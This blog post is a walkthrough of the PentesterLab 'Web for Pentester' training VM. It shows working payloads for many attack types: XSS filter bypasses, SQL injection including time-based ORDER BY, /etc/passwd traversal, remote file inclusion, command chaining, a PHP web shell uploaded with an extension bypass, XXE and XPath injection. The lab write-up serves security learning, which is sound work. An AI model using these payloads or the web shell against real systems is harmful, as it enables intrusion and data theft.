Core dump overflow

Core dump in progress...

Pentest lab - Web for Pentester

| Comments

Today I want to mix things up a bit, and do a challenge focused exclusively on web vulnerabilities. For the target, I will use the Web for Pentester ISO offered by PentesterLab. They host many challenges dedicated to web hacking, and I recommend you give them a try!

Navigating to the VM, we are greeted by this page:

web for pentester

As you can see, we’ve got plenty of exercises, so let’s begin!

XSS

Example 1

web for pentester xss 1

Source code:

1
2
3
4
5
6
7
8
<?php require_once '../header.php'; ?>
<html>
Hello
<?php
  echo $_GET["name"];
?>

<?php require_once '../footer.php'; ?>

This is the most basic type of injection:

1
<script>alert('there')</script>

Now you will get an alert box and if you look in the source, you will see the exact same injection, with no filtering whatsoever.

Example 2

Source code:

1
2
3
4
5
6
7
8
9
10
<?php require_once '../header.php'; ?>
Hello
<?php

$name =  $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>

This one looks like the previous one, but in the source, we can see that the script tags are replaced with empty strings, but only for lowercase. I changed the case of the script tags to SCRIPT, and the alert box was back!

Example 3

The source looks like this:

1
2
3
4
5
6
7
8
9
10
11
<?php require_once '../header.php'; ?>
Hello
<?php

  $name =  $_GET["name"];
  $name = preg_replace("/<script>/i","", $name);
  $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

<?php require_once '../footer.php'; ?>

This time the script tags are filtered regardless of the case. To see what’s going on, I inserted script tags inside a placeholder value:

1
place<script>holder

As expected, they disappear into the abyss, and the message echoed in the page is Hello placeholder . I then tried doubling the script tags:

1
place<<script>>holder

The message changed to Hello place<>holder . This is great, it means we can have nested tags that will be interpreted! I built the payload to:

1
 <scr<script>ipt>alert(1)</scr</script>ipt>

Example 4

Source:

1
2
3
4
5
6
7
8
9
<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

This time, the script throws an error if it sees anything resembling script tags. Luckily, we can get an XSS payload to execute in different ways. For this I used:

1
<img src='nope' onerror="alert('Got ya')" />

Example 5

Source code:

1
2
3
4
5
6
7
8
9
<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>

All right, it looks like script tags aren’t blacklisted anymore, but this time the alert word is. I just substituted the alert for prompt:

1
<script>prompt('Enter pwn code')</script>

Example 6

PHP source:

1
2
3
4
5
6
<?php require_once '../header.php'; ?>
Hello
<script>
  var $a= "<?php  echo $_GET["name"]; ?>";
</script>
  <?php require_once '../footer.php'; ?>

This time, whatever we place inside the name variable is assigned to a variable. The page source looks like this:

1
2
3
4
Hello
<script>
  var $a= "hacker";
</script>

We want to build on the existing code and add our own. This means we will have to close the quotes and add our payload. First, I inserted something to see the changes:

1
hacker";INJECTION

And in the HTML code I saw this:

1
var $a= "hacker";INJECTION";

The part up to the first semicolon is what we want, then we have to place our payload, but a stray doublequote and semicolon remain. To get rid of them, I commented them out, and the final injection looked like this:

1
hacker";alert("not enough");//

And in the source it is rendered the following way:

1
var $a= "hacker";alert("not enough");//";

Example 7

PHP code:

1
2
3
4
5
6
7
<?php require_once '../header.php'; ?>
Hello
<script>
  var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

<?php require_once '../footer.php'; ?>

It appears that now there is encoding performed on the name variable to prevent the previous type of bypass. Let’s see how the source looks with the previous payload:

1
var $a= 'hacker";alert("not enough");//';

The attack was nullified, but if you look at the htmlentities PHP manual page, you will see that, if not otherwise specified, the default flag is ENT_COMPAT, which converts double-quotes and leaves single-quotes alone. So all I had to do was replace the double-quotes with single-quotes:

1
hacker';alert('still not enough');//

And this is translated in the HTML as:

1
var $a= 'hacker';alert('stillnot enough');//';

Example8

web for pentester xss 8

This looks a little different, we input something and it gets echoed back in a greeting: HELLO something

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
  require_once '../header.php';

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

<?php

  require_once '../footer.php';

?>

PHP_SELF returns the currently executing script and its path from the root folder. In our case, where the URL is http://192.168.217.138/xss/example8.php , PHP_SELF would be /xss/example8.php .

The PHP_SELF variable is vulnerable to XSS if not enclosed within htmlentities(). Which means we can put our payload in the URL: http://192.168.217.138/xss/example8.php/INJECTION

Now, we need to take note of how to build the payload:

1
HELLO hacker<form action="/xss/example8.php/hacker" method="POST">

My successful injection was:

1
hacker"><script>alert(9000)</script>"

And the source now looks like this:

1
<form action="/xss/example8.php/hacker"><script>alert(9000)</script>"" method="POST">

The first double-quote and > closed the form action part, then came the injection, and then I put another double-quote to keep company to the stray one that remained.

Example9

dom xss

Whatever we put after the pound sign gets rendered on the page. Here’s the code that does it:

1
2
3
<script>
  document.write(location.hash.substring(1));
</script>

First, we have to understand the substring method:

string.substring(start, end)

This method extracts the characters in a string between “start” and “end”, not including “end” itself. Characters start at index 0

And the location.hash returns the anchor part of the URL. So if our URL is http://192.168.217.138/xss/example9.php#moo , it will return #moo . And combined with the substring function, whatever comes after the hash is written to the page, as we saw at the beginning.

This page is vulnerable to DOM-based XSS, where a modification the DOM environment affects how the client code is running. Just put the payload after the hash sign, and reload the page (I had to use Chrome to see the alert):

1
http://192.168.217.138/xss/example9.php#<script>alert('Bye')</script>

SQL injections

Example1

sql injection

Ok, before tampering with anything, let’s look at the source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

  require_once('../header.php');
  require_once('db.php');
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";   
  $result = mysql_query($sql);
  if ($result) {
      ?>
      <table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
      <?php
      while ($row = mysql_fetch_assoc($result)) {
          echo "<tr>";
              echo "<td>".$row['id']."</td>";
              echo "<td>".$row['name']."</td>";
              echo "<td>".$row['age']."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  }
  require_once '../footer.php';
?>

So, the code looks in the users table for whatever we give it, and if a match is found, it displays some info. You can see there is no filtering on our input, and the DB query is SELECT * FROM users where name=‘input’. This is trivial to bypass, by using root' or 1=1— (there is a space after —), and don’t forget to URL encode for it to work! The query now becomes SELECT * FROM users where name=‘root’ or 1=1— ‘, and the stray quote is commented out.

sqli results

Example2

This example looks the same like the previous one, but the difference is in the code:

1
2
3
4
5
6
7
if (preg_match('/ /', $_GET["name"])) {
      die("ERROR NO SPACE");   
  }
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";

  $result = mysql_query($sql);

Basically, the space characters are being filtered out. However, we can achieve the same results by using tabs (\t), which would change the previous injection to: SELECT * FROM users where name=‘root’ or 1=1#, where the same outcome is achieved by substituting the spaces for tabs and the comment characters from to #. Again, don’t forget URL encoding though!

Example3

Same-looking page, but slightly different code:

1
2
3
4
5
6
7
if (preg_match('/\s+/', $_GET["name"])) {
      die("ERROR NO SPACE");   
  }
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";

  $result = mysql_query($sql);

This time, a regular expression prevents the use of any whitespace characters, including tabs, carriage returns, etc. It is possible to bypass this by using C-style comments: /**/. Here, our injection would be:

1
'/**/or/**/1=1#

And the DB query would look like this:

1
SELECT * FROM users where name='root'/**/or/**/1=1#'

As always, don’t forget to URL encode when injecting!

Example4

Here, the URL looks just a tiny bit different: http://192.168.217.138/sqli/example4.php?id=2

And the code:

1
2
3
$sql="SELECT * FROM users where id=";
  $sql.=mysql_real_escape_string($_GET["id"])." ";
  $result = mysql_query($sql);

So, the query performed is SELECT * FROM users where id=INPUT , but this time, the mysql_real_escape_string function is used to escape the characters: \x00, \n, \r, \, ‘, “ and \x1a. All that protection is for naught however, because the id parameter is an integer, where there is no need to use quotes. So I injected 2 or 1=1— and again saw all results.

Example5

We have the same example as the previous one, but with some modifications to the underlying code:

1
2
3
4
5
6
7
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"] ;
  
  $result = mysql_query($sql);

The regular expression will make the script throw an error and stop executing if it encounters non-integer characters in the input. But the check is only made at the beginning of the input, as can be seen from the fact that there is a ^, but not a $ delimiter for the end. Again, the injection is trivial: id=2 or 1=1— .

Example6

The developer tried to fix the previous mistake with:

1
2
3
4
5
6
7
8
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"] ;

  
  $result = mysql_query($sql);

Now the code checks for the end of the string to be an integer, but not for the beginning xD Well, we can inject without worrying that we have to comment something afterwards: id=2 or 1=1

Example7

Finally, the code checks for integers both at the beginning and the end:

1
2
3
4
5
6
7
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"];
  
  $result = mysql_query($sql);

There is something new in this regex: a PCRE_MULTILINE pattern modifier. Let’s see what this does:

m (PCRE_MULTILINE)

By default, PCRE treats the subject string as consisting of a single “line” of characters (even if it actually contains several newlines). The “start of line” metacharacter (^) matches only at the start of the string, while the “end of line” metacharacter ($) matches only at the end of the string, or before a terminating newline (unless D modifier is set). This is the same as Perl. When this modifier is set, the “start of line” and “end of line” constructs match immediately following or immediately before any newline in the subject string, respectively, as well as at the very start and end. This is equivalent to Perl’s /m modifier. If there are no “\n” characters in a subject string, or no occurrences of ^ or $ in a pattern, setting this modifier has no effect.

So, the regex checks will be performed correctly on the first line, but we can insert new lines and inject our payload there, and no checks will be performed! With the payload id=2%0A or 1=1, a new line has been injected, and then the rest of the payload.

Example8

sqli 8

This example introduces the ORDER BY statement:

1
2
3
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);

The SQL query looks like this:

1
SELECT * FROM users ORDER BY `INPUT`;

For this exploitation, I used this very helpful article about time-based injection in the ORDER BY clause:

1
order=name`,(select sleep(3) from dual where database() like database())#

First, the successful injection will be reflected by the time it takes to load the page, specified inside the SLEEP function. The DUAL table is a special table that can be used in queries that don’t need data from any tables. DATABASE() returns the value of the currently selected DB, and the LIKE operator is used to compare a value with another similar one. For the injection to work, don’t forget to URL encode! Now, let’s see how the full query would look like:

1
SELECT * FROM users ORDER BY `name`,(select sleep(3) from dual where database() like database())#`;

That LIKE statement is useful, because it induces a condition that is matched by the SELECT statement.

Example9

Source code:

1
2
3
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);

No more backticks here. I used the same payload as in the previous example, but without the backticks (and URL encoded):

1
order=(select sleep(3) from dual where database() like database())#

Directory traversal

Example1

If you inspect the image link, you will see: dirtrav/example1.php?file=hacker.png. The source code for this challenge is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

$UploadDir = '/var/www/files/';

if (!(isset($_GET['file'])))
  die();


$file = $_GET['file'];

$path = $UploadDir . $file;

if (!is_file($path))
  die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();


?>

There is no filtering involved, so I displayed the /etc/passwd file with: http://192.168.217.138/dirtrav/example1.php?file=../../../../../etc/passwd

passd file

Example2

The path for this one is dirtrav/example2.php?file=/var/www/files/hacker.png. In the code, we are only interested in the parts that manipulate the file to be included:

1
2
3
4
$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
  die();

The script tries to enforce the location of the file to be in /var/www/files, but we can leave it as it is and just go up a few directories and include the passwd file again: file=/var/www/files/../../../etc/passwd.

Example 3

Here is the path: dirtrav/example3.php?file=hacker

And the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$UploadDir = '/var/www/files/';

if (!(isset($_GET['file'])))
  die();


$file = $_GET['file'];

$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
  die();

The code gives the hint of exploiting this: the null byte, which will make the system ignore anything that comes after it. So the extension check will be bypassed: file=../../../../../etc/passwd%00

File Include

Example 1

file inclusion

Let’s see the code:

1
2
3
4
5
6
7
<?php

  if ($_GET["page"]) {
      include($_GET["page"]);

  }
?>

There is no validation performed on the file to be included. For this challenge, PentesterLab provides a sample include file that calls phpinfo() at http://assets.pentesterlab.com/test_include.txt

Just include the above file to see the output of phpinfo(): page=http://assets.pentesterlab.com/test_include.txt

phpinfo output

Example2

The URL is slightly different now: http://192.168.217.138/fileincl/example2.php?page=intro

And the code:

1
2
3
4
5
6
7
8
<?php
  if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
      include($file);
  }
?>

So the code automatically appends a PHP extension to the file, but is also vulnerable to null bytes. I included the same file as in the previous example, with a %00 at the end: page=http://assets.pentesterlab.com/test_include.txt%00

Code injection

Example 1

code injection 1

Source code:

1
2
3
4
5
<?php
  $str="echo \"Hello ".$_GET['name']."!!!\";";

  eval($str);
?>

The string echo “Hello hacker!!!”; is passed to eval. Whatever else we input after the name variable comes right after hacker and before the exclamation signs: Hello hacker@!!! (with an example of adding @ after hacker). However, if we input a double-quote, we get an error:

1
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1 

That is because eval now has to evaluate the broken syntax of echo “Hello hacker”!!!“;. We can take advantage of this by appending a command and then commenting out the remaining !!!”;:

1
name=hacker" . system('hostname');//

URL encode it and you will see the output:

code injection 1 success

This worked because what eval saw was: echo “Hello hacker” . system(‘hostname’);//!!!“;

Example 2

code injection 2

PHP code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }
}
  require_once('../header.php');
  require_once('../sqli/db.php');
  $sql = "SELECT * FROM users ";

  $order = $_GET["order"];
  $result = mysql_query($sql);
  if ($result) {
      while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) {
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
  }

      ?>
<table class='table table-striped' >
      <tr>
          <th><a href="example2.php?order=id">id</th>
          <th><a href="example2.php?order=name">name</th>
          <th><a href="example2.php?order=age">age</th>
      </tr>
      <?php

    foreach ($users as $user) {
          echo "<tr>";
              echo "<td>".$user->id."</td>";
              echo "<td>".$user->name."</td>";
              echo "<td>".$user->age."</td>";
          echo "</tr>";
      }    
      echo "</table>";
  require '../footer.php';
?>

The line to focus on is:

1
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

Here, the PentesterLab course explains the vulnerability exists in the usort(array, user-defined function) function, because it uses create_function(args, code), which is used to create an anonymous (lambda-style) function. create_function is vulnerable to unfiltered input because it uses eval() at its core. There is a known exploit that allows code injection and executing the code without creating and calling the function. Let’s see how this works:

create_function is a ZEND_FUNCTION defined in zend_builtin_functions.c. Here is part of the vulnerable code:

vulnerable code

The folks at PentesterLab were nice enough to help me understand this, I was in one of those states where you don’t see the forest from the trees! Basically, the code for the lambda function is the string inside curly brackets, and there is no filtering for {}. So later, this same user-supplied string gets evaluated by zend_eval_string. We can inject code in the $order parameter, so our code gets in this line:

1
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

And that line will be used in the format string. The payload I used is : order=id);}echo ‘INJECTION SUCCESSFUL’;//. Now, inside eval(), the lambda function without injection looks something like this:

1
function LAMBDA_TEMP_FUNCNAME (a,b){return strcmp($a->'.$order.',$b->'.$order.');}

Let’s deconstruct it step by step. Adding ); closes the call to strcmp, but leaves garbage behind and also an unclosed {} , because the end curly bracket is now part of the discarded code:

1
function LAMBDA_TEMP_FUNCNAME (a,b){return strcmp($a->'.$order.');,$b->'.$order.');}

Adding a closing curly bracket correctly closes the format string, so now we have:

1
function LAMBDA_TEMP_FUNCNAME (a,b){return strcmp($a->'.$order.');},$b->'.$order.');}

To test where I was with the injection, I left it at that and got this error:

1
Parse error: syntax error, unexpected ',' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22 

So the code picks up after the curly bracket, we know we have to comment out the rest. And between the curly bracket and the comment characters we can put our code:

1
function LAMBDA_TEMP_FUNCNAME (a,b){return strcmp($a->'.$order.');}echo 'INJECTION SUCCESSFUL';//,$b->'.$order.');}

And the result:

code injection

eval() now sees a strcmp, which is executed (but only with 1 parameter, hence the warning). Then eval goes further, sees our code and executes it (the warning doesn’t stop the execution). And finally, eval reaches the leftovers, which have been commented out, so it does nothing.

This here was my favorite part in all the challenge!

Example 3

Here we have the familiar hello hacker message, but with a twist on the URL: http://192.168.217.138/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer

Let’s see the code:

1
2
3
4
<?php
  echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);

?>

Ok, preg_replace searches inside the base parameter (Hello lamer) for matches to the pattern parameter (hacker) and replaces them with what’s in the new parameter (hacker).

The problem with preg_replace is that it can be passed the modifier e (PREG_REPLACE_EVAL) that causes PHP to execute the replacement value.

To exploit this, first we have to add the modifier to the pattern: pattern=/lamer/e. Then we put our code inside the new parameter: new=phpinfo(). The URL now looks like this: http://192.168.217.138/codeexec/example3.php?new=phpinfo%28%29&pattern=/lamer/e&base=Hello%20lamer

phpinfo output

Example 4

This one looks like the first example, but with a new addition in the code:

1
2
3
// ensure name is not empty 
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);

assert checks if the assertions is false, but the most important thing that we need to know is: if the assertion is given as a string it will be evaluated as PHP code by assert().

The assert returns true, because it checks that the name parameter = ‘hacker’, which it is. When injecting a single quote, we see this error:

1
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4 

I used a PHP sandbox to help me with this. Let’s imagine that the name parameter is a simple string with the value of hacker:

1
$name = 'hacker';

Thanks to the use of trim, assert will see (and try to evaluate) the value of ‘hacker’. Knowing this, if I try injecting hacker'.phpinfo().‘, inside the code I assume it will look like this:

1
$name = 'hacker'.phpinfo().'';

With the string concatenation, phpinfo() is displayed, but we also see at the bottom of the page: Hello hacker'.phpinfo().‘. The assert was successful, and the code was executed.

Commands injection

Example 1

ping

It looks like a ping program:

1
2
3
<?php
  system("ping -c 2 ".$_GET['ip']);
?>

You can chain another command after the ping one by doing this: ip=127.0.0.1;whoami. Below the ping output, you can now see the whoami output, which in this case is www-data

Example 2

This looks the same like the previous one, but let’s see the code:

1
2
3
4
5
6
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

There is some regex added now to validate that the ip parameter will indeed look like in IP. However, similar to a previous example, the check won’t look on further lines. We can use %0a to introduce a new line, and run our command there: ip=127.0.0.1%0Apwd. And the output is:

1
2
3
4
5
6
7
8
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.012 ms
64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.022 ms

--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.012/0.017/0.022/0.005 ms
/var/www/commandexec

Example 3

Same-looking URL, and slightly different code:

1
2
3
4
5
6
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

This time, the script will redirect the user if the ip parameter doesn’t match the regex. However, the execution will continue, even if the browser gets redirected. To stop the execution altogether, it would be necessary to call the die() function after the header() function, which isn’t happening in this case. So we can still inject a command, but we’ll need to do it through another medium than the browser, or use a proxy. For this, I used Burp, sent the payload ip=127.0.0.1;ls, and looked inside the 302 response to find what I wanted to see:

1
2
3
4
example1.php
example2.php
example3.php
index.html

LDAP attacks

Example 1

ldap 1

This is a new type of exercise, involving LDAP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
  require "../header.php" ;
  $ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
  ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
  ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
  if ($ld) {
   if (isset($_GET["username"])) {
     $user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
   }
   $lb = @ldap_bind($ld, $user,$_GET["password"]);

    if ($lb) {
       echo "AUTHENTICATED";
    }
    else {
       echo "NOT AUTHENTICATED";
    }
  }
  require "../footer.php" ;
?>

First, let’s learn more about LDAP:

LDAP Injection is an attack technique used to exploit web sites that construct LDAP statements from user- supplied input.

Lightweight Directory Access Protocol (LDAP) is an open-standard protocol for both querying and manipulating X.500 directory services. The LDAP protocol runs over Internet transport protocols, such as TCP. Web applications may use user-supplied input to create custom LDAP statements for dynamic web page requests.

When a web application fails to properly sanitize user-supplied input, it is possible for an attacker to alter the construction of an LDAP statement. When an attacker is able to modify an LDAP statement, the process will run with the same permissions as the component that executed the command. (e.g. Database server, Web application server, Web server, etc.). This can cause serious security problems where the permissions grant the rights to query, modify or remove anything inside the LDAP tree. The same advanced exploitation techniques available in SQL Injection can also be similarly applied in LDAP Injection.

This particular example is vulnerable to NULL bind, where an anonymous user can access information from the LDAP directory without authentication. For this, the values sent to the server have to be null, so instead of just sending empty values, we have to completely remove them:

ldap null

Example 2

ldap 2

Let’s see the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
  require "../header.php" ;
  $ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
  ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
  ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
  if ($ld) {
   $lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
    if ($lb) {
      $pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
      $filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
      if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ld)."'</br>");
    } else {
      $number_returned = ldap_count_entries($ld,$search);
      $info = ldap_get_entries($ld, $search);
      if ($info["count"] < 1) {
         //NOK 
         echo "UNAUTHENTICATED";
      }
      else {
        echo "AUTHENTICATED as";
        echo(" ".htmlentities($info[0]['uid'][0]));
      }    
    }
   }
  }
  require "../footer.php" ;
?>

The goal here is to be able to authenticate with any password, and get information from the directory. Now, since the password is being hashed, the only likely place to inject into is the username. To learn more about LDAP, its rules and types of injection, I found a nice BlackHat whitepaper. The key takeaway is that the injection will happen in the filter. In our case, the filter is:

1
(&(cn=name)(userPassword=password))

We see here that filter uses &, which specifies an AND condition, where both username and password have to be true. Remembering that we can only inject inside the username parameter, here’s what we can do:

1
(&(cn=name)(cn=*))%00(userPassword=password))

The ) closes the name filter, then we introduce an always true condition with the * wildcard, the closing ) matches the one at the beginning of the filter, and the null byte..well, nullifies the rest of the filter.

ldap filter injection

File Upload

Example 1

file upload

It looks like we can upload an image and find it in the /upload/images/ directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if(isset($_FILES['image']))
{
  $dir = '/var/www/upload/images/';
  $file = basename($_FILES['image']['name']);
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
  {
  echo "Upload done";
  echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
  }
  else
  {
      echo 'Upload failed';
  }
}
?>

Obviously, I am thinking about uploading a PHP shell instead. But first, I wanted to see if there is anything already in the images folder, and I wasn’t disappointed:

haxxor chat

Ok, now it’s time for the shell. I created a basic PHP shell:

1
2
3
<?php
  system($_GET["cmd"]);
?>

Uploaded it, navigated to it and passed a command:

1
2
http://192.168.217.138/upload/images/ashell.php?cmd=pwd
/var/www/upload/images 

Example 2

Same functionality, but this time the script doesn’t allow PHP extensions:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_FILES['image']))
{
  $dir = '/var/www/upload/images/';
  $file = basename($_FILES['image']['name']);
  if (preg_match('/\.php$/',$file)) {
      DIE("NO PHP");
  }
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file))
  {
  echo 'Upload done !';
  echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>';
  }
  else
  {
      echo 'Upload failed';
  }
}
?>

The code checks that an extension may not end in php. Uploading a .php file followed by a non-existent extension will cause the server to ignore the unknown extension and switch to the next one it knows. I uploaded the same shell as ashell.php.fail:

1
2
http://192.168.217.138/upload/images/ashell.php.fail?cmd=ls%20/home
user

XML attacks

Example 1

xml 1

A twist on the previous challenges, this time with the use of XML:

1
2
3
4
5
Hello
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>

This particular vulnerability revolves around XML injection:

Custom entities can be defined by including them directly in an optional DOCTYPE and the expanded value they represent may reference an external resource to be included. It is this capacity of ordinary XML to carry custom references which can be expanded with the contents of an external resources that gives rise to an XXE vulnerability.

So, I defined the following entity:

1
<!DOCTYPE results [<!ENTITY hacker SYSTEM "file:///etc/hosts">]>

This entity can be referenced with &hacker;. Of course, we will need to URL encode it. Here’s the URL with the XML injection:

1
192.168.217.138/xml/example1.php?xml=<!DOCTYPE results [<!ENTITY hacker SYSTEM "file:///etc/hosts">]><test>%26hacker%3B</test>

xml injection

Example 2

Another hello page, but the URL is a bit different: http://192.168.217.138/xml/example2.php?name=hacker

1
2
3
4
5
6
7
8
  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  }

We see here some XML data containing users and passwords, and user input being used to construct an XPATH query. XPATH is used to navigate through elements and attributes in an XML document.

With a name of hacker, the XPATH would look like this:

1
users/user/name[.='hacker']/parent::*/message

XPATH injection is similar to SQL injection. Here we can inject inside the name input to create an always true condition and get rid of the remaining query as follows: hacker' or 1=1]%00. Now the query looks like this:

1
users/user/name[.='hacker' or 1=1]%00']/parent::*/message

xpath injection

Wow, this was a really fun challenge, and I hadn’t done a web app challenge in a while! Many thanks to PentesterLab for this challenge and their help when I had questions! They also have their own course for the challenge here

Until next time, straight from the cow’s mouth:

1
2
3
4
5
6
7
8
/ You are fighting for survival in your \
\ own sweet and gentle way.             /
 ---------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

Comments